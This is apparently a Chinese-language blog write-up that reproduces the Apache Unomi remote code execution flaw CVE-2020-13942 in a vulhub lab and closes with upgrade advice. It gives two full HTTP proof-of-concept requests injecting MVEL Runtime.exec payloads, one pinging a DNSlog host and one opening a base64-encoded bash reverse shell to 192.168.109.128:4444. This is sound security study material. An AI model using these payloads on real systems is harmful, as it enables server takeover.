CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现


CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

简介

Apache Unomi 是一个基于标准的客户/数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。

Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:

Ø Web CMS 个性化服务

Ø 原生移动应用的分析服务

Ø 具有分段功能的集中配置文件管理系统

Ø 授权管理中心

漏洞概述

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

漏洞影响版本

Apache Unomi < 1.5.2

环境搭建

使用vulhub的环境即可

cd vulhub/unomi/CVE-2020-13942/
docker-compose up -d

漏洞复现

在浏览器中访问http://your-ip:8181出现如下页面即代表环境搭建成功

访问context.json进行抓包

将发包方式改为POST发包

DNSlog验证

POC:

POST /context.json HTTP/1.1
Host: 192.168.109.128:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 493

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping xxxxxx.ceye.io\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}


反弹shell


POC:

POST /context.json HTTP/1.1
Host: 192.168.109.128:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 569

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}


修复建议

1、尽可能避免将用户数据放入表达式解释器中。
2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:https://unomi.apache.org/download.html


文章作者: icepeak
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 icepeak !
  目录